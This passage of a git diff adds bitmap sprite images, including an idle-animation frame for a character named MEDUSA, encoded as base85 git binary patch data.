zn1s^ua)OJD8VV21^(vTI1jN+vr48}TJm}?(XvwZz`rOq69h8@snOMk+D-ubmosri$ z0hg=>u7o;)tRAPCvq{#|r<<^H`of~GsrokmyIA*!>Ep*vU0utmncabrEzl+<yO;T^*vlT$2(a z%5xvKC&yMbHVnf;RY%)dLm^8}Jf4|RSz3cYQ%_J`Pgco}-aeE~$&}d8SU(~%P(<#m zmc?nL>m^G!Vrw^2>l>uj9%NP?q(~2P9k(lD)~xCl+BN&Tmpd3~|D*JKSfM^vl6`#q z@5es_t1^h%o|)eZ4vHH4YIhh=V%fa1v})jDEQlb9j=c+8>acKIUPsR^p)u?5k(I{Q zL5Mlz)6KSPx!GPEND5bVrS?fIklFuYr;Enzx-#a$ZD6-AznPnVFe} znuzO`+5ub|*C-LT$o7^gFr{Fav1?Xvss~4Q2Zne1hj;phw+2x=>l^5|?>_qbrUZDU ziSS(4*Lbe2ki{=VD=2xIP520}$gkNsj}sGWSc0(s>f55U$jp-IA_0;zK<0vqRlPM{(+IB zV`~tb85zf{20%VxA8mFH-PrUwJ|XpEN2i9Pn#EmCc@ria zzi8@6Xyi!7!go8_~B9PfEUPVAta(rYA zCN4N)AkT1zbf8TCH>_{oyiQKa+}OfIN=AmaE6UqyYd;PSEuu!&dU~h(`{%AXy0b{o zsoHQcGSSO&dg}^340O+1-VbH$W8LjXZTAmv4h(Jf4Q;{IkJ=g--oZrq2iERJr_vE@= zl&+?=jI6S$8N%G$($_npwRynpx<^`4Qpw8#Mg~TD3PmAiix)2%r{*z!2ynE2c&l%4 zqqlFPr*|E$-u{jL!L9zGZ5X_c_KB+34P_M#oSdQ(s=x4ypXQUm<={J|ZH8xLb&FGQLyIi+XFOkPUf1cgR(uPLoAT5|dyT3F-r!?_u5dMOIfd|5<^dvkpUPQ$3GsFRS86A=?pv(c#sD{A<&%UaWM2$J8s z8wY!184ojQn2*S7pB7O*b>`eTGBS$u=g(iheEHI)OBV?)N{CDB%joy`ip83k5a;e> zTvYHJ;K8^+AtcaQ7`275ty@bo-Q8`)+l#GlD>6|7T{qplB?Qfy8;2oUw6B{0D?}gn zKt1&h0AE)>buPDeEVj1+;)PG2mV5iRM#i=~I#A}OuDMy|*PI=2a1W`Qo-?pGYiM;w z!-1Ybgeo#23^wg?aE=oY5|9uRUm_*ZzOQTXT-h{LR>_@{fcgv*JCV3NKBw3j4jF>W zROhIut}rn%5fT!zu&@#n69Zya7B<+;2MB-2*Zc8tkwFfzad$9Szdm>aUiaSK>eArS zWYgqu)ArhMbw$qfM0a69rksq9nX!9H^7DyVFgq|QK^w!Ge{W!T8(7=fwG1fR+80_| z=Q}%L$9Ygeo!7)f+sQH@*e5wWAc>grR}Iq(I;N-e9WRQTa;RC-82GT0U%AZ8$V_gGpg+W#nw%6Jc0DXS0I-5X` z#`nPYfH3dO92(Yf^Gg`3g&N)N>05y*+uA(W)w!-?49B{r=(_ETet`NCqBt~)!a5V1QWM^v$Jaj z#Q5XKRSjJUWyAkcGdZSabX*gOxl~M!s_6fh_BBclg{$BZBJ7l)UuS1$Jw06@-`dJb zR#uLjg;dpwRmxLAJy}=DUlLiQC+8``Z^G#GOijguU0p*h;eMi;x|)rRjjpaP2M33> z73>sY(syJSo`BH8c8!*XnzoK+diuk-xahlg;~pfZ`FeT#`gnV~yXos{+Sphs$t&Cm zPjGg*F007P$U=CPhB-VeVQ6HrcX-~$!I_4NPEkoyQBg}qM%h0g3WDE*!#h2_YcOkv zP-q)lCwlgO=vV0^LVndNhMAhCWqSHKs>o;Rg2q>ctQht02~+bE5fBiuva-?AUg6{AgG}C+ zP2BHbJ>cT@*0zPcIUkaaMudo%_M(%sOG@$+X(_dcu)7e!w|BU4KR(mK%0|tcP1A`$ zLi@C~mf7uF4-1RxrWbeGK8*$X-yP^%1X~R2^WK4Z*d`i8?Sl98xo`br$DEiHJ0;B# z2DVd@swY*AkEl4BXC+XQvFtVJWXFb8ddP+p@gtplUb)zGCc7$v))B*}8bR7wd-Dr&6>2(}wwJc@& z2KHSDG#Wx(ei6Rr?xyB9OnpLqu*w#@bU(lc87v~me1jG2C=|nb8$1sDi})AtE*w36 zO!}sreub@mg|%L`f#h|51}++?Q(RIeq)lxZ#fAuAhIOQhB^kFE(S?g=BqgPDpH(bv zpbKBtsH+;t%jg(t*qfDIuXb?2u8ta zn;`$7>NhoQt!=L=UTv&z0LlZPQ1KhA`>`yvhKAPJvuB7d5m8aooI8J>Nsdh|UeCC~ zNi)?%(n*w=m!_@dqlu%cStutmjLRy5T}*@G@UdS-1SMs3qyi$sU@v2QW+yQz6NxZ~ zNT{KKp`4t8tgNDsZ}6wCQ3xeM4C`(EXKo>UEpr?Vvtw!|htc zaspi+HuG3s^9T+}{j0~0;!u!N3JZ!FI%&{wAI*I70-_U>vuM!C>)YtH4UEm1TShO! z7+?-;?Tk-uhu?`}Vx_psc3fQLw1OUvsu7Nw3684CQ6)~@97j!T^$e_{Cf0{XH-|@ehDJ7FZ?$J|4K}Y~|K}>#AytzT z63QpIL{6~rpJL@b$hrz?ov#P41AV06EsR^RAKrL2WL1J^C=7HXh2#<)0jPmvIfdjtSr&!?M zV1>{+Jb}YJR8-WeYO4PJ{(^#nZfqIJfddwtGdZQwU9@Z%?X9Hu3q7!#lJ*|f0=+wipJE3#WaA)GKSaC zi|y>?@y?&S2nqip=vHMVl|RIa{h0`a z<8`$4G&Qu96qQ9q#H6KVK+C{;aMZ^)++W&UUe;P#-Byj@G7;{{lhQI$)YR14+S&*+ zB-DA3nJ#2R&MS3>n(6P{LVsuDKP@atFCxaqBYKQm{BQiyheQ;AVPHSSDsV#8@RT;< zxHj^b77|C>0$0%pk4KS|Rhan9`BM~R7(GEpM|bud0jn6XZ48fT6t8`X1fL=)3)d0D z+f)_>>Tv0%NlPPyJ6bYaA*{>PgrR|6+E&;VV4(UOG@~ zGvhO(L!)cU>s_7QX=!QjTMRc>H&auy%F0Tp1LF~NCyauDP}TT^o)wOk`B7z~!wej7 zKc!`P1k4Lu>LxhcLZ_~^ko)7JR#ZBin?bmlj0E(Tsnh`OG-v^ z>g1WT__#)ayvTTA^CU5gJHlr#{;J?7YFwzTm!oP@sAHO~A)?DKDlATW^+9VFm-ex3RX-+SK0B{;{uj z09$8kYZE3y=$&u@O#%RBE5h+JG;U@#dO8Og~hYHKjTsUN@!Zv$4i!-kse zElY7HepzoxF>_G^6TQYpjLblq9G@1~5L0v{)3d`@x42;BLSyPi%`0)1TNYo%0$L`1;iiA#u+Q;@T>u+cJ8D0=f6 zrAe7)${_QU5b>hSS~Ny4brFxGjc!mPpKI#GX$T4madL7(eJ~lcw6x;l@U{d*$AB2D zUHYqhg$AakriS`Z(iTF95@mxNb?IAzoF>fN%5u}7ph9g;Esr9nrl+7!HqtlS z#y8XIR% z-|gG7va*bHbPRM1=8i}WcMb6yViMkx3f_uHXM|3mmPU%Y(QQthXi;fL|jKu^j; zRO}{iNPGy^J?rlLZ0lk#VlJ)hrK}sGW*Dh!8mO#dK_#GoE2KfhAWrNV=AD|Kk)EGb z-~6HbbB~Lsx|2Vxh|FagiYuffq#%kQ$!AaF+F02D$@8-d?QI=z-c*0?#`uUMs8JIK zgoK-jQka6NzjbqStC*M=$S_ub!3Fa4y!o}(`OmRp#|X~1XJ=)DqrJSataejDuRs+p z{Sr;H5(ATBZAEvfK{)*LMT>Q`b)-MaNX|@qT9{|+Y{w&cLd*Pwp7{weg+mb$en2&( z$%%>hd-1Yzvg#(}F8-`?I%J&uWRVq2Ue+|epPs_(wtV{Zskpefva+hS_AOL~qxevWB^WaQIo5->AEiHj^5p5(>XvP| zomz&pL8iKVn2d~{IHFizIY_Lbp#eJi)+ycD+?AGNfcS$J@~kHEn5;V0;=&4ev+V2~ zzyA6w?x}OULX=KH%q|g(^17E_zI;(vSM~8@+cKQELBoN0-(P}AFoB7`T2e9__^tQFN17EF!TvU@4q&&o>y<}AX|NX0}$4S_8|dMxMMqlJEr7c z(f=i^|2A-i#V_SNRk*Y{bncsqI|}I~E9s<3+V~l-uB>nGz{WHt0tY?ATfk=M|MqP^ zDV3vEZiGk|d{Oz+ou9gjie6wWA}J{Z|8UQo)^TKp7^qn=7a_?}bq`_3VlC4wISG4? zGZ%1Kn3-v4sKITZrJ;pY&A(Cd$6tQ{D^LvyMi6>Pf0zMdP0P(7Z7+sMRj|mCRlUs> zn-ukR=TI52LW#HcEk>?mTBet^5ctxHR4@vKg@qy_BD}mjx_Wx#q!i-%v^Mtz?NcQ= zWyya1<*>pnF|&LP%K~j~SvEdi0S*p!US3{$dIsPt@D4kQUw8Dq{10HoHVIe(M1Fq$ zIq+OB;GM)hDeod+nIU75D5~Qm6dZEf?wY2Bt=j9?l~5n(0wu!B%}Yf|0}&4@T2lOr z7vT3D;C{pTCeWg;ZmtqylH}a@w&{}4f_Z`@pTcEQ#xr_JYKQ_YAsqozLxiT5j)|$+ z)vI*aNGSCFJ#hb4{=-rPprsD$-!bUGci(7Q7T`PQH>DMeITO| zB&KVisvWLmS)wOy#Z7SW;-$+(B&1{_!lHok&jW?7e;6xPh95o31bc?@aX2{Wm>AVO zge;SUO+xr2^cn4Ag{&jl46YM1vl1)HD{*mh;a|W%d-m-4bLU~{1(FYcrKM#+%k1pz z#KbrpXM~@@z{wQ9m|*8{_uS&=a861&P{bxj$;kbxPMEN%r&&)|FI0wC{(oS7`J#lM zkDnQnm}n`l2$>06q)1rB@(Jr+K?Lw1gBTq`8QJ)8i3v%`Nr|~QIAG84%6>pW3lsP&@?0C;pSjwVB%nBhg~HY7Fc`%Xwblq9z6ouVLI$fCFTar zg6@X31-KCKXnb_SC&FLlrka|scKWj%%+r0H_#YwuVXV*_mcYAl_XGun!F3fC6~#Gv zT);rUBvud+$jYlhW#Y$b=S69KgHl%G{1wKtEUfGhx48m=`72kbX{hPx=yS4jpq=lL z5A9gT8@SFqYZbIWG!|s^7k~^RqMZlv6R2RJK-9^<>kqC(^OG zz{qyyhP$VYt+la{k*ljKtV~3NMT&~B=T|W1>vt1|)B6i(c=~76?l%qnJgmPn;daq8 zlXGjU>ys1H2^qytnA?dM^I?qI~RGYJ^{2ZTek&%xe7T~$p%R-TiC)5h8se!=u3ApR86pI~$TxF0}( VO<45bjsfgM{Ba9E@#&#M{|${PmN5VT literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE24.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE24.bmp new file mode 100644 index 0000000000000000000000000000000000000000..243844cf8690b994be63af8860792bd400df3a56 GIT binary patch literal 18462 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 